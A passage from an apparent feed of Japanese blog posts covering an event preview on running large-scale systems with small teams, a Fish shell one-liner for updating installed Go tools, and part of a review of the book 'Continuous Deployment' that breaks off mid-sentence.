大規模システムの効率的な運用設計と組織的活用少人数チームの生産性を向上させる運用設計の実践事例を聞きたいです。標準化されたプロセスとツールの導入によるチーム効率の向上、自動化を活用した日常的なオペレーションの効率化、チーム間のナレッジ共有を促進する仕組みづくりなどが重要なポイントです。また、組織の成長に合わせた運用設計の進化と最適化について議論したいです。スケーラブルな運用モデルの設計と段階的な導入方法、変化する事業ニーズに柔軟に対応できる運用設計のアプローチ、継続的な改善サイクルを組み込んだ運用設計プロセスの確立などが焦点となります。「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル草思社Amazon3.5 技術的改善の価値を組織全体で共有する方法「信頼性は会話です」という考え方を組織文化に組み込む実践例を聞きたいです。定期的な信頼性レビュー会議の実施と改善点の共有、チーム横断的な信頼性向上タスクフォースの設置などが具体的な方策となります。また、ITIL 4フレームワークを活用した組織横断的な価値創出事例を共有し、ITILのベストプラクティスを組織の特性に合わせてカスタマイズする方法やサービス価値システムの構築と継続的な最適化プロセスについて議論したいです。さらに、少人数チームの技術的改善を経営層に効果的に伝えるテクニックを探りたいです。ビジネス指標と技術指標を紐付けた改善効果の可視化、経営層向けダッシュボードの設計と定期的な報告会の実施などが重要なポイントとなります。【ITIL4公認】ITIL 4の基本 図解と実践作者:中 寛之日経BPAmazon3.6 継続的な改善を推進する組織体制の構築「始めるより続けることの方が難しい」という現実に対する組織的アプローチを議論したいです。長期的な改善ロードマップの設計と定期的な見直しプロセス、改善活動の成果を評価・表彰する仕組みの導入などが焦点となります。また、少人数チームでの理論、実践、モチベーションのバランスを保つ具体的な方法を探りたいです。学習と実践のサイクルを組み込んだ業務設計、チーム内でのスキルマトリクスの活用と成長機会の創出などが重要なポイントです。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか作者:宇田川元一日経BPAmazon3.7 運用原則の組織への効果的な導入新しい運用原則の導入事例と組織全体への展開方法を聞きたいです。運用原則の核心的要素の段階的導入計画(例:SREの場合のエラーバジェット概念)、新しい運用文化の醸成とエンジニアリング組織全体への浸透策、様々な運用原則(SRE、DevOps、ITIL等)の基本概念を組織に適用する方法などが焦点となります。また、定量的指標を活用した組織的な意思決定プロセスについて議論し、サービスレベル目標(例:SLO)の設定プロセスとステークホルダーとの合意形成手法、リスクベースの優先順位付けと資源配分のための指標活用(例:エラーバジェット)などを探りたいです。さらに、インシデント管理と事後分析を組織の学習文化に組み込む方法を考察し、責任追及ではなく改善を重視する文化を醸成するための事後分析ガイドラインの策定、インシデントからの学びを組織知識として蓄積・活用するナレッジマネジメントシステムの構築などについて議論したいです。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon大規模システムの効率的な運用は、技術と組織の両面からのアプローチが不可欠です。少人数チームでの運用という制約の中で、いかに組織の力を最大限に引き出し、システムの安定性と効率性を両立させるか。この課題に対する様々な視点と解決策について、参加者の皆様と活発な議論ができることを楽しみにしています。おわりにこのイベントが、大規模システムの効率的な運用に関する深い洞察と実践的な知見を共有される場となることを強く期待しています。Platform Engineering、DevOps、CCoE、SREの概念を適切に組み合わせ、各組織の特性に合わせてカスタマイズする方法について、参加者全員で活発な議論ができることを楽しみにしています。大規模システムの運用の正解は常に変化し続けるものです。このイベントでの学びを通じて、参加者それぞれが自社のシステム運用を見直し、改善していくきっかけになれば幸いです。登壇者の一人として、皆様と直接対話し、互いの経験や知見を共有できることを心から楽しみにしています。ぜひ多くの方にご参加いただき、一緒に大規模システムの効率的な運用について語り合いましょう!イベントの詳細や参加方法については、イベント公式ページをご確認ください。皆様のご参加を心よりお待ちしております。なお、このブログは私の思いつくままに書いたため、やや散文的になってしまいました。しかし、ここに記した考えや情報が、大規模システムの運用に関わる方々にとって何かしらの参考になれば幸いです。私自身、このイベントを通じてさらに学びを深め、より洗練された見解を得られることを楽しみにしています。www.youtube.com","isoDate":"2024-10-15T01:15:16.000Z","dateMiliSeconds":1728954916000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"FishでGoパッケージを一括更新したいのでワンライナー","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/09/180510","contentSnippet":"はじめにGoプログラマーにとって、パッケージを最新の状態に保つことは重要な作業だ。しかし、複数のパッケージを個別に更新するのは時間がかかり、効率が悪い。そこで今回は、Fishシェルを使用してGoパッケージを一括更新する堅牢なワンライナーを紹介する。このワンライナーは、様々な環境設定に対応できる柔軟性を持ち、効率的にパッケージを更新できる強力なツールだ。ワンライナーの全容まずは、このワンライナーの全体像を見てみよう。set -l gobin (go env GOBIN); test -z \"$gobin\" && set gobin (go env GOPATH)/bin; for f in $gobin/*; if test -x $f; set pkg (go version -m $f | awk '/mod /{print $2}'); test -n \"$pkg\" && go install \"$pkg@latest\"; end; end一見複雑に見えるこのコマンドだが、実は論理的に構成された複数の処理の組み合わせである。以下、各部分の役割と動作原理を詳しく解説していく。ワンライナーの解剖dic.pixiv.net1. GOBINの設定と確認set -l gobin (go env GOBIN); test -z \"$gobin\" && set gobin (go env GOPATH)/bin;この部分は、Goバイナリのインストール先ディレクトリを特定する役割を果たす。set -l gobin (go env GOBIN):GOBINの値を取得し、ローカル変数gobinに格納する。test -z \"$gobin\" && set gobin (go env GOPATH)/bin:gobinが空の場合(つまりGOBINが設定されていない場合)、GOPATH/binをデフォルトとして使用する。この処理により、GOBINの設定の有無に関わらず適切なディレクトリを使用できる柔軟性を確保している。2. ディレクトリ内のファイル処理for f in $gobin/*; ...; end$gobinディレクトリ内の全ファイルに対してループ処理を行う。これにより、インストールされている全てのGoバイナリを対象に処理を実行できる。3. 実行可能ファイルの選別if test -x $f; ...; endtest -x $fで、ファイル$fが実行可能かどうかをチェックする。これにより、実行可能なバイナリファイルのみを処理対象とし、不要なファイルを除外している。4. パッケージ情報の抽出set pkg (go version -m $f | awk '/mod /{print $2}')go version -m $fコマンドでバイナリファイルのモジュール情報を取得し、awkコマンドを使用してパッケージ名を抽出する。この結果をpkg変数に格納する。5. パッケージの更新test -n \"$pkg\" && go install \"$pkg@latest\"pkg変数が空でないことを確認し、有効なパッケージ名が得られた場合のみgo install \"$pkg@latest\"を実行して最新バージョンにアップデートする。このワンライナーの利点環境適応性: GOBINの設定の有無に関わらず動作する。安全性: 実行可能ファイルのみを処理し、有効なパッケージ名が得られた場合のみ更新を試みる。効率性: 一行で全ての処理を完結させ、高速に実行できる。汎用性: 様々なGo開発環境で使用できる。使用上の注意点このワンライナーは、Fishシェル専用である。Bash等の他のシェルでは動作しない。GOPATHが正しく設定されていることを前提としている。大量のパッケージがある場合、実行に時間がかかる可能性がある。まとめ本記事で紹介したワンライナーは、Goプログラマーの日常的なタスクを大幅に簡略化し、開発環境を最新に保つ強力なツールとなる。環境設定の違いに柔軟に対応し、安全かつ効率的にパッケージを更新できる点が大きな魅力だ。このワンライナーを自分の開発フローに組み込むことで、常に最新のGoパッケージを使用した、より効率的で安全な開発が可能になる。ぜひ試してみてほしい。Goプログラミングの世界は日々進化している。このワンライナーを活用し、最新の機能や改善を逃さず、より良いコードを書く手助けとしてほしい。他にいい方法があればおしえてください。","isoDate":"2024-10-09T09:05:10.000Z","dateMiliSeconds":1728464710000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"継続的デプロイメントの継続的な学習 - Continuous Deployment の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/02/080453","contentSnippet":"自動化は私の忍耐力の限界を補完してくれます。はじめに本書「Continuous Deployment」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。私は、ソフトウェア開発の現場で、オンプレミスの手動デプロイから始まり、Makefileによる自動化、JenkinsやCircleCI、GitHub Actions、GitLab CI/CD、AWS CodePipeline、Cloud Build 、ArgoCD、PipeCDなど、様々なツールや手法を経験してきました。この過程で、継続的デプロイメントが開発プロセスを改善し、ビジネス価値を創出する様子を目の当たりにしました。継続的デプロイメントは、継続的インテグレーション(CI)と継続的デリバリー(CD)の実践をさらに進めたものです。CIは開発者のコード変更を頻繁にメインブランチに統合し、CDはそのコードをいつでもリリース可能な状態に保ちます。継続的デプロイメントでは、すべての変更が自動的に本番環境にデプロイされます。開発者がコードをメインブランチにプッシュまたはマージすると、自動化されたパイプラインがそのコードをビルド、テスト、本番環境へデプロイします。人間による最終承認のステップは存在せず、品質チェックをパスしたすべての変更が即座に本番環境に反映されます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software作者:Servile, ValentinaO'Reilly MediaAmazon本書は、継続的デプロイメントの理論的基礎から実践的適用まで幅広く網羅しています。各章の概念や戦略は、業界の専門家たちの知見に基づいています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの手法は、現代のソフトウェア開発に不可欠です。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。ソフトウェア開発は多くの小規模で反復的なタスクの集合体です。例えば、設定ファイルの更新後のコード自動生成、コード変更後のビルドとテスト実行、テスト結果のレポート作成、リリース用ファイルの準備とパッケージングなどです。人間はこのような単調な反復作業を得意としません。創造的思考や問題解決には長けていますが、同じタスクを正確に繰り返すことは苦手です。時間とともに集中力が低下し、作業の精度も落ちます。一方、コンピューターシステムはこの種の反復作業に適しています。与えられた指示を疲れることなく、一定の精度で遂行できます。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、この手法がコードの品質管理やテスト戦略により高い要求を課すことも重要です。本書では、強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。この本を通じて、継続的デプロイメントの本質を理解し、プロジェクトや組織に適用するための実践的なアイデアを得ることができます。以下に、私の読書体験と個人的な見解を交えた感想文を記します。この本は、継続的デプロイメントの理念と実践について詳しく解説しています。技術的な手法の説明だけでなく、ソフトウェア開発の本質と人間の特性を考慮した、効果的な開発プロセスの構築方法を提示しています。私自身、この本を通じて継続的デプロイメントの価値を再認識し、新たな視点を得ることができました。この本は、ソフトウェア開発の将来を示唆する重要な一冊だと確信しています。そのため、来年の「このSRE本がすごい!」にも追加したいと考えています。syu-m-5151.hatenablog.comこの本を通じて、継続的デプロイメントの意義を理解し、開発プロセスを改善するヒントを見出せることを願っています。I. Continuous DeploymentChapter 1. Continuous Deployment第1章「Continuous Deployment」は、継続的デプロイメントの基本概念から始まり、その歴史的背景、重要性、実践哲学、そして「効果的な」継続的デプロイメントの特性に至るまで、幅広いトピックをカバーしています。この章を通じて、継続的デプロイメントの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。継続的デプロイメントの進化と重要性ソフトウェア開発の歴史を振り返ることから始め、かつては月単位や年単位でリリースが行われていた時代から、現在の日次または週次リリースへの変遷を説明しています。この変化は、ビジネスニーズの変化に迅速に対応する必要性から生まれたものです。Figure 1-1. The typical path to production before the early 2000s より引用特に印象的だったのは、「If it hurts, do it more often:痛いなら、もっと頻繁にやればいい」というeXtreme Programming (XP)の原則です。この原則は、痛みを伴うプロセス(例えば、デプロイメント)を頻繁に行うことで、そのプロセスを改善し、最終的には痛みを軽減できるという考え方です。継続的デプロイメントの基本的な思想を表していると言えます。この原則は、私自身の経験とも非常に共鳴します。例えば、以前参加していたプロジェクトでは、月に1回の大規模なリリースが常にストレスフルで、多くのバグや障害を引き起こしていました。そこで、我々はリリース頻度を週1回に増やし、各リリースの規模を小さくしました。最初は大変でしたが、徐々にプロセスが改善され、最終的にはリリース作業が日常的な業務の一部になりました。これにより、バグの早期発見や迅速な修正が可能になり、システムの安定性が大幅に向上しました。DevOpsとの関連性DevOpsの概念と継続的デプロイメントの関係性についても詳しく説明しています。DevOpsは、開発(Dev)と運用(Ops)の壁を取り払い、両者の協力を促進する文化や実践を指します。継続的デプロイメントを実現する上で不可欠な要素です。DevOpsの実践は、継続的デプロイメントを支える重要な基盤となります。例えば、インフラストラクチャのコード化(Infrastructure as Code)は、環境の一貫性を保ち、デプロイメントの自動化を可能にします。また、モニタリングやロギングの改善は、迅速なフィードバックループを確立し、問題の早期発見と解決を支援します。私の経験から、DevOpsの実践は継続的デプロイメントの成功に不可欠だと強く感じています。以前、開発チームと運用チームが分断されていた組織で働いていましたが、デプロイメントの度に混乱が生じ、問題の解決に時間がかかっていました。DevOpsの原則を導入し、両チームが協力してデプロイメントパイプラインを設計・実装することで、プロセスが大幅に改善されました。特に、開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、より堅牢で管理しやすいシステムが構築できるようになりました。継続的インテグレーションと継続的デリバリー継続的インテグレーション(CI)と継続的デリバリー(CD)について詳しく説明し、これらが継続的デプロイメントの前身となる重要な実践であることを強調しています。CIは、開発者の変更を頻繁にメインブランチに統合する実践です。これにより、統合の問題を早期に発見し、修正することが可能になります。CDは、CIをさらに発展させ、ソフトウェアをいつでもリリース可能な状態に保つ実践です。この辺は読んだことがない場合にはこちらの書籍がおすすめである。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazon日本語版もあるので入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie WilsonオライリージャパンAmazonこれらの説明は、経験してきたCIとCDの導入過程と非常に一致しています。例えば、以前のプロジェクトでは、開発者が長期間にわたって個別のブランチで作業し、統合時に大きな問題に直面することがよくありました。CIを導入し、小さな変更を頻繁に統合するようにしたことで、これらの問題は大幅に減少しました。CDの導入は、さらに大きな変化をもたらしました。以前は、リリース前の数日間を集中的なテストとバグ修正に費やしていましたが、CDを導入することで、ソフトウェアが常にリリース可能な状態を維持できるようになりました。これにより、リリースのストレスが大幅に軽減され、新機能や修正をより迅速にユーザーに届けられるようになりました。継続的デプロイメントの定義と実装継続的デプロイメントを「コミットがメインブランチにプッシュまたはマージされると、すべてのクオリティーゲートが緑色である限り、必ず本番デプロイメントが行われる」と定義しています。CI/CDの次の進化段階と言えるでしょう。Figure 1-2. The typical path to production today より引用継続的デプロイメントの実装は、一見シンプルに見えます。著者が説明するように、既存のCDパイプラインの本番デプロイメントステップを再構成するだけで済む場合が多いからです。しかし、これは技術的な実装の話で、課題は組織文化や開発プラクティスの変革にあります。私の経験から、継続的デプロイメントへの移行は技術的な課題よりも、組織的・文化的な課題の方が大きいと感じています。例えば、あるプロジェクトで継続的デプロイメントを導入しようとした際、技術的な準備は比較的容易でしたが、チームメンバーの不安やステークホルダーの抵抗に直面しました。特に、「本番環境に直接デプロイすることの危険性」や「品質管理の不安」といった懸念が大きかったです。これらの課題を克服するためには、段階的なアプローチと綿密なコミュニケーションが不可欠でした。まず、小規模なサービスから始めて成功事例を作り、徐々に規模を拡大していきました。また、自動テストの拡充や監視の強化を行い、問題が発生しても迅速に検知・対応できる体制を整えました。さらに、チーム全体でのレビュープロセスの改善や、フィーチャーフラグの活用など、コードの品質を担保するための施策も導入しました。継続的デプロイメントの影響と課題継続的デプロイメントの採用が開発プロセス全体に与える影響について詳しく説明しています。例えば、未完成のコードの隠蔽方法、後方互換性の確保、他の本番サービスとの契約の維持、デプロイメントとフィーチャーリリースの分離などの課題が挙げられています。これらの課題は、私の経験とも深く共鳴します。例えば、継続的デプロイメントを導入した際、未完成の機能をどのように本番環境に安全にデプロイするかが大きな課題となりました。この問題に対処するため、我々はフィーチャーフラグを積極的に活用し、コード自体は本番環境にデプロイしつつ、機能の有効化は制御できるようにしました。これにより、大規模な変更でも段階的なロールアウトが可能になり、リスクを最小限に抑えることができました。また、後方互換性の確保も重要な課題でした。特に、マイクロサービスアーキテクチャを採用している環境では、サービス間の整合性を維持することが不可欠です。この課題に対しては、APIのバージョニング戦略の導入や、コンシューマー駆動契約テスト(Consumer-Driven Contract Testing)の実施など、複数のアプローチを組み合わせて対応しました。継続的デプロイメントのリスクと安全性継続的デプロイメントのリスクについても率直に触れています。各変更が即座に本番環境に反映されるため、不適切な変更が複雑なサービス網に影響を与える可能性があります。このリスクへの対処は、重要な責務の一つです。私の経験では、以下のような戦略が効果的でした:段階的なロールアウト:カナリアリリースやブルー/グリーンデプロイメントを活用し、変更の影響を限定的に確認できるようにしました。自動ロールバック:問題が検出された場合に自動的に前のバージョンに戻すメカニズムを実装しました。高度な監視と警報:詳細なメトリクスの収集と、異常を即座に検知できる警報システムを構築しました。カオスエンジニアリング:意図的に障害を注入し、システムの回復力を継続的にテストしました。これらの施策により、継続的デプロイメントのリスクを大幅に軽減し、同時にシステムの信頼性と回復力を向上させることができました。結論継続的デプロイメントが単なる技術的な実装以上のもので、ソフトウェア開発プロセス全体の再考を要する実践であることを強調しています。継続的デプロイメントは、開発サイクルを劇的に短縮し、フィードバックループを最小化することで、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めています。しかし、その実現には技術的な課題だけでなく、組織文化や開発プラクティスの根本的な変革が必要です。私の経験から、継続的デプロイメントの成功には複数の要素が不可欠だと考えています。まず、テスト、デプロイメント、監視のあらゆる面で強力な自動化を推進することが重要です。これにより、人為的ミスを減らし、プロセスの一貫性と速度を向上させることができます。次に、「本番環境に直接デプロイする」という責任を全員が理解し、高品質なコードを書くことへの強いコミットメントが必要です。これは単なる技術的スキルだけでなく、チーム全体の姿勢の問題でもあります。さらに、問題が発生した際に責任追及ではなく、システム改善の機会として捉える文化を醸成することが重要です。失敗から学び、それを今後の改善につなげる姿勢が、継続的な進歩を可能にします。最後に、デプロイメントプロセスや関連するプラクティスを常に見直し、改善し続けることが不可欠です。技術や環境の変化に合わせて、常にプロセスを最適化していく必要があります。継続的デプロイメントは、ソフトウェア開発の未来を象徴する実践です。その導入には多くの課題がありますが、適切に実装することで、開発効率の向上、市場投入までの時間短縮、そしてより高品質なソフトウェアの提供が可能になります。この章は、継続的デプロイメントの本質を理解し、その実践に向けた第一歩を踏み出すための貴重なガイドとなっています。Chapter 2. Benefits第2章「Benefits」は、継続的デプロイメントがもたらす利点について深く掘り下げています。継続的デプロイメントが単なる技術的な進歩ではなく、ソフトウェア開発プロセス全体を根本から変革する可能性を持つ実践であることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発の効率性、品質、そして組織文化にどのような影響を与えるかが明確に示されています。リーン生産方式とOne-Piece Flow継続的デプロイメントの利点を説明するにあたり、まずリーン生産方式の概念から始めています。これは非常に興味深いアプローチだと感じました。ソフトウェア開発と製造業の類似性を指摘することで、継続的デプロイメントの本質的な価値がより明確になります。Figure 2-1. Batch and queue versus one-piece flow より引用特に印象的だったのは、One-Piece Flowの概念です。これは、大きなバッチ処理ではなく、一つの単位(この場合はコミット)ごとに処理を行うという考え方です。この概念がソフトウェア開発にも適用可能で、継続的デプロイメントこそがその実現方法だと主張しています。私の経験からも、この考え方は非常に有効だと感じています。以前、大規模なモノリシックアプリケーションの開発に携わっていた際、月に1回の大規模リリースが常に問題の種でした。バグの混入や、リリース後の予期せぬ問題の発生が頻繁に起こっていました。そこで、マイクロサービスアーキテクチャへの移行と同時に継続的デプロイメントを導入しました。結果として、各サービスが独立してデプロイできるようになり、One-Piece Flowに近い状態を実現できました。これにより、問題の早期発見と修正が可能になり、システム全体の安定性が大幅に向上しました。ソフトウェア開発におけるバッチサイズとトランザクションコストの関係についても言及しています。これは非常に重要な指摘です。継続的デプロイメントを実現するためには、デプロイメントプロセス自体のコストを下げる必要があります。私たちのチームでは、デプロイメントパイプラインの最適化と自動化に力を入れました。具体的には、テストの並列実行、キャッシュの効果的な利用、そしてコンテナ技術の活用により、デプロイメント時間を大幅に短縮することができました。DORA Metrics継続的デプロイメントの利点を説明する上で、DORA(DevOps Research and Assessment)の4つの主要メトリクスを用いています。これらのメトリクスは、デプロイ頻度、リードタイム、平均復旧時間(MTTR)、変更失敗率です。Figure 2-10. The DORA metrics より引用デプロイ頻度に関して、著者は継続的デプロイメントによってこれが劇的に向上すると主張しています。私の経験からも、これは間違いなく事実です。ある大規模なEコマースプラットフォームの開発で、継続的デプロイメントを導入した結果、デプロイ頻度が週1回から1日に複数回へと増加しました。これにより、新機能のリリースやバグ修正のスピードが大幅に向上し、ユーザー満足度の向上にもつながりました。リードタイムについても、著者の主張は的を射ています。継続的デプロイメントにより、コードがコミットされてから本番環境にデプロイされるまでの時間が大幅に短縮されます。私たちのチームでは、この時間を平均で15分以内に抑えることができました。これにより、開発者はより迅速にフィードバックを得ることができ、問題の早期発見と修正が可能になりました。MTTRの改善も、継続的デプロイメントの重要な利点の一つです。著者が指摘するように、小さな変更を頻繁にデプロイすることで、問題が発生した際の原因特定と修正が容易になります。私たちのチームでは、この原則を徹底することで、MTTRを数時間から数分へと劇的に短縮することができました。変更失敗率に関しては、著者の主張に若干の疑問を感じました。確かに、小さな変更を頻繁に行うことで、各変更のリスクは低下します。しかし、変更の総数が増えることで、全体としての失敗の機会も増える可能性があります。この点については、強力な自動テストと段階的なロールアウト戦略(カナリアリリースやブルー/グリーンデプロイメントなど)が不可欠だと考えています。『LeanとDevOpsの科学』が好きですが、本書が参照している研究データが徐々に古くなってきていることも事実です。DevOpsの分野は急速に進化しているため、最新の動向やベストプラクティスを反映した新しい版や補完的な書籍が出版されることを期待しています。LeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する impress top gearシリーズ作者:Nicole Forsgren Ph.D.,Jez Humble,Gene Kim,武舎広幸,武舎るみインプレスAmazon特に、DevOpsに関する最新の情報や研究結果は非常に興味深いです。Googleは継続的にDevOpsの実践とその効果について調査を行っており、その知見は業界全体に大きな影響を与えています。cloud.google.com『Science Fictions あなたが知らない科学の真実』ほど極端ではありませんが、DevOpsの分野でも最新のデータに基づいた考察や、従来の常識を覆すような新しい発見があれば、非常に興味深いでしょう。例えば、AIや機械学習がDevOps実践にどのような影響を与えているか、あるいはクラウドネイティブ環境での新しいベストプラクティスなどについて、詳細な分析と考察が読みたいと思います。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社AmazonDevOpsの分野は常に進化しているため、継続的な学習と最新情報のキャッチアップが不可欠です。新しい書籍や研究結果が出版されることで、私たちの知識をアップデートし、より効果的なDevOps実践につなげていけることを期待しています。Quality Shift Left継続的デプロイメントが「Quality Shift Left」、つまり品質保証プロセスを開発サイクルの早い段階に移動させる効果があると主張しています。これは非常に重要な指摘です。私の経験からも、継続的デプロイメントを導入することで、開発者の品質に対する意識が大きく変わりました。以前は「とりあえず動けばいい」という態度の開発者も少なくありませんでしたが、自分のコードが即座に本番環境にデプロイされることを意識することで、より慎重にコードを書くようになりました。具体的には、ユニットテストやインテグレーションテストの充実、コードレビューの徹底、そして静的解析ツールの活用などが日常的に行われるようになりました。また、パフォーマンスやセキュリティの考慮も、開発の初期段階から行われるようになりました。例えば、あるプロジェクトでは、継続的デプロイメントの導入と同時に、すべてのプルリクエストに対して自動的にセキュリティスキャンを実行するようにしました。これにより、脆弱性の早期発見と修正が可能になり、本番環境のセキュリティが大幅に向上しました。また、観測可能性(Observability)の向上も、Quality Shift Leftの重要な側面です。継続的デプロイメントを効果的に行うためには、システムの状態を常に把握し、問題をすぐに検知できる必要があります。そのため、ログ、メトリクス、トレースなどの観測可能性に関する機能を、アプリケーションの設計段階から組み込むようになりました。これにより、本番環境での問題の早期発見と迅速な対応が可能になりました。「Quality Shift Left」は読んでいて『動作するきれいなコード』を思い出したのであわせて読んでほしい。t-wada.hatenablog.jp継続的デプロイメントの課題と対策著者は継続的デプロイメントの利点を強調していますが、その実現には多くの課題があることも事実です。私の経験から、以下のような課題と対策が重要だと考えています。1. インフラストラクチャの整備:継続的デプロイメントを実現するためには、柔軟で信頼性の高いインフラストラクチャが不可欠です。クラウドネイティブ技術の活用、特にKubernetesなどのコンテナオーケストレーションツールの導入が有効です。これにより、デプロイメントの一貫性と信頼性を確保できます。2. テスト戦略の見直し:継続的デプロイメントでは、自動化されたテストが非常に重要になります。単体テスト、統合テスト、エンドツーエンドテストなど、複数のレベルでのテストを適切に組み合わせる必要があります。また、カオスエンジニアリングの手法を取り入れ、本番環境に近い状況でのテストも重要です。3. フィーチャーフラグの活用:未完成の機能や大規模な変更を安全にデプロイするために、フィーチャーフラグは非常に有効です。これにより、コードはデプロイしつつ、機能の有効化は制御することができます。4. モニタリングと警告の強化:継続的デプロイメントでは、問題を早期に検知し、迅速に対応することが重要です。詳細なメトリクスの収集、異常検知の自動化、そして効果的な警告システムの構築が必要です。5. ロールバック戦略の確立:問題が発生した際に、迅速かつ安全にロールバックできる仕組みが必要です。これには、データベースのマイグレーション戦略や、APIのバージョニング戦略なども含まれます。6. 組織文化の変革:継続的デプロイメントは技術的な変更だけでなく、組織文化の変革も必要とします。開発者の責任範囲の拡大、チーム間の協力体制の強化、そして失敗を学びの機会として捉える文化の醸成が重要です。これらの課題に対処することで、継続的デプロイメントの利点を最大限に活かすことができます。Kubernetesでどのように実践するかは『Platform Engineering on Kubernetes』が良いのでおすすめです。syu-m-5151.hatenablog.com結論第2章は、継続的デプロイメントがもたらす多様な利点を包括的に説明しています。リーン生産方式の原則からDORAメトリクス、そしてQuality Shift Leftまで、著者は継続的デプロイメントが単なるデプロイ手法の改善ではなく、ソフトウェア開発プロセス全体を変革する可能性を持つことを明確に示しています。私の経験からも、継続的デプロイメントの導入は組織に大きな変革をもたらします。開発速度の向上、品質の改善、そして組織文化の変革など、その影響は多岐にわたります。しかし、その実現には多くの課題があることも事実です。技術的な課題はもちろん、組織文化の変革も必要となります。継続的デプロイメントは、現代のソフトウェア開発において重要な実践の一つです。特に、マイクロサービスアーキテクチャやクラウドネイティブ開発が主流となる中で、その重要性はますます高まっています。しかし、それを効果的に実践するためには、単に技術を導入するだけでなく、組織全体でその価値を理解し、必要な変革を行う覚悟が必要です。この章を読んで、改めて継続的デプロイメントの重要性と、それを実現するための課題について深く考えさせられました。今後の実務においても、ここで学んだ原則や実践を積極的に取り入れ、より効率的で品質の高いソフトウェア開発を目指していきたいと思います。Chapter 3. The Mindset Shift第3章「The Mindset Shift」は、継続的デプロイメントを実践する上で必要な思考の転換について深く掘り下げています。継続的デプロイメントが単なる技術的な実装の問題ではなく、開発者の日々の作業方法や考え方を根本から変える必要があることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発プロセス全体にどのような影響を与え、どのような課題をもたらすか、そしてそれらにどう対処すべきかが明確に示されています。変更の定義と適用の融合著者はまず、継続的デプロイメントによって「変更の定義」と「変更の適用」が一体化することの重要性を指摘しています。これは、私自身の経験とも強く共鳴する点です。従来のアプローチでは、コードの変更とその本番環境への適用は別々のプロセスでした。しかし、継続的デプロイメントでは、コードをコミットした瞬間に本番環境への適用が始まります。この変化は、開発者の心理に大きな影響を与えます。以前は「とりあえずコミットして、後で誰かがチェックしてくれるだろう」という甘い考えがあったかもしれません。しかし、継続的デプロイメントでは、コミットした瞬間にそのコードが本番環境に向かって動き出すのです。これは、開発者に対して「常に本番環境を意識せよ」というメッセージを突きつけます。私が以前携わっていた大規模なEコマースプラットフォームの開発では、この変化が顕著に表れました。継続的デプロイメントを導入した当初、チームメンバーの多くが「本当にこのコミットで大丈夫か」と不安を感じていました。しかし、時間が経つにつれ、この不安は健全な緊張感へと変わっていきました。結果として、コードの品質が向上し、本番環境での問題が大幅に減少しました。著者が電気工事の例えを用いていることに、非常に共感します。確かに、継続的デプロイメントは、稼働中のシステムに手を加えるようなものです。この類推は、特にマイクロサービスアーキテクチャのような複雑なシステムで作業する際に非常に適切です。各サービスが独立してデプロイされる環境では、一つの変更が思わぬ影響を及ぼす可能性があります。そのため、変更の影響範囲を常に意識し、安全性を確保しながら作業を進めることが重要になります。進行中の作業の隠蔽著者は次に、進行中の作業を隠蔽することの重要性について述べています。これは、継続的デプロイメントを実践する上で非常に重要な概念です。フィーチャートグルやExpand and Contract(別名Parallel Change)パターンの紹介は、非常に有用です。Figure 3-18. The expand and contract pattern applied across a provider and consumer system より引用フィーチャートグルの活用は、特に大規模で複雑なシステムにおいて重要です。私が以前携わっていた金融系システムでは、フィーチャートグルを活用することで、大規模な機能変更を段階的にロールアウトすることができました。例えば、新しい取引処理エンジンを導入する際、まずは一部のユーザーや取引タイプに対してのみ新機能を有効にし、徐々にその範囲を広げていきました。これにより、潜在的な問題を早期に発見し、迅速に対応することができました。 speakerdeck.comExpand and Contractパターンも、特にマイクロサービスアーキテクチャにおいて非常に有効です。APIの変更や、データベーススキーマの変更など、後方互換性を保ちながら大きな変更を行う際に重宝します。私の経験では、このパターンを使用することで、サービス間の依存関係を適切に管理し、段階的な移行を実現することができました。ここで著者が指摘している重要な点は、これらの技術が単なる開発テクニックではなく、継続的デプロイメントを可能にする根幹的な実践だということです。これらの技術を適切に使用することで、大規模な変更でさえも、小さな安全な変更の連続として実装することができます。分散システムにおける契約管理分散システムにおける契約管理の重要性について詳しく説明しています。これは、特にマイクロサービスアーキテクチャを採用している環境では非常に重要なトピックです。継続的デプロイメントを実践する中で、私が最も難しいと感じたのは、複数のサービス間の依存関係の管理でした。例えば、あるサービスのAPIを変更する際、そのAPIを利用している他のサービスとの整合性をどう保つかが大きな課題となります。著者が指摘するように、フォーマルな契約とインフォーマルな契約の区別は非常に重要です。私の経験では、チーム内で管理されるインフォーマルな契約こそが、最も注意を要するものでした。例えば、同じチームが管理するフロントエンドとバックエンドのAPI契約は、しばしばドキュメント化されず、暗黙の了解として扱われがちです。しかし、継続的デプロイメントの環境では、こうした暗黙の契約も明示的に